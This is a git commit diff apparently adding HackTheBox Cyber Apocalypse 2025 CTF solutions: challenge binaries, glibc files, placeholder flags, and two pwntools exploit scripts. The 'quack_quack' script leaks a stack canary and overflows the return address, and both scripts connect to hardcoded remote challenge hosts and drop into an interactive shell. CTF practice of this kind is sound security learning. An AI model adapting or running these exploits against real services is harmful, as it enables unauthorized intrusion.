changed repo structure
This commit is contained in:
BIN
2025/htb_cyber_apocalypse/pwn_blessing/blessing
Executable file
BIN
2025/htb_cyber_apocalypse/pwn_blessing/blessing
Executable file
Binary file not shown.
11
2025/htb_cyber_apocalypse/pwn_blessing/exploit.py
Normal file
11
2025/htb_cyber_apocalypse/pwn_blessing/exploit.py
Normal file
@@ -0,0 +1,11 @@
|
||||
from pwn import remote
|
||||
|
||||
with remote('94.237.63.165', '33182') as p:
|
||||
p.recvuntil(b': ')
|
||||
address = p.recvuntil(b': ')[:14]
|
||||
len = int(address.decode(), 0)
|
||||
p.recvuntil(b': ')
|
||||
p.sendline(f'{len}')
|
||||
p.recvuntil(b': ')
|
||||
p.sendline(b'A')
|
||||
p.interactive()
|
||||
1
2025/htb_cyber_apocalypse/pwn_blessing/flag.txt
Normal file
1
2025/htb_cyber_apocalypse/pwn_blessing/flag.txt
Normal file
@@ -0,0 +1 @@
|
||||
HTB{f4k3_fl4g_f0r_t35t1ng}
|
||||
BIN
2025/htb_cyber_apocalypse/pwn_blessing/glibc/ld-linux-x86-64.so.2
Executable file
BIN
2025/htb_cyber_apocalypse/pwn_blessing/glibc/ld-linux-x86-64.so.2
Executable file
Binary file not shown.
BIN
2025/htb_cyber_apocalypse/pwn_blessing/glibc/libc.so.6
Executable file
BIN
2025/htb_cyber_apocalypse/pwn_blessing/glibc/libc.so.6
Executable file
Binary file not shown.
BIN
2025/htb_cyber_apocalypse/pwn_laconic/challenge/laconic
Executable file
BIN
2025/htb_cyber_apocalypse/pwn_laconic/challenge/laconic
Executable file
Binary file not shown.
21
2025/htb_cyber_apocalypse/quack_quack/exploit.py
Normal file
21
2025/htb_cyber_apocalypse/quack_quack/exploit.py
Normal file
@@ -0,0 +1,21 @@
|
||||
from pwn import remote, p64
|
||||
|
||||
NEEDLE = b'Quack Quack '
|
||||
LEN_NEEDLE = len(NEEDLE)
|
||||
|
||||
with remote("83.136.251.145", "32656") as p:
|
||||
p.recvuntil(b'> ')
|
||||
p.sendline(b'A' * 0x59 + NEEDLE)
|
||||
canary = b'\x00' + p.recvuntil(b'> ')[LEN_NEEDLE:LEN_NEEDLE + 7]
|
||||
assert(len(canary) == 8)
|
||||
|
||||
exploit_string = (b'A' * 0x58) + canary + p64(0) + p64(0x40137f)
|
||||
|
||||
print(exploit_string)
|
||||
|
||||
p.sendline(exploit_string)
|
||||
|
||||
p.interactive()
|
||||
|
||||
|
||||
|
||||
1
2025/htb_cyber_apocalypse/quack_quack/flag.txt
Normal file
1
2025/htb_cyber_apocalypse/quack_quack/flag.txt
Normal file
@@ -0,0 +1 @@
|
||||
HTB{f4k3_fl4g_4_t35t1ng}
|
||||
BIN
2025/htb_cyber_apocalypse/quack_quack/glibc/ld-linux-x86-64.so.2
Executable file
BIN
2025/htb_cyber_apocalypse/quack_quack/glibc/ld-linux-x86-64.so.2
Executable file
Binary file not shown.
BIN
2025/htb_cyber_apocalypse/quack_quack/glibc/libc.so.6
Executable file
BIN
2025/htb_cyber_apocalypse/quack_quack/glibc/libc.so.6
Executable file
Binary file not shown.
BIN
2025/htb_cyber_apocalypse/quack_quack/quack_quack
Executable file
BIN
2025/htb_cyber_apocalypse/quack_quack/quack_quack
Executable file
Binary file not shown.
Reference in New Issue
Block a user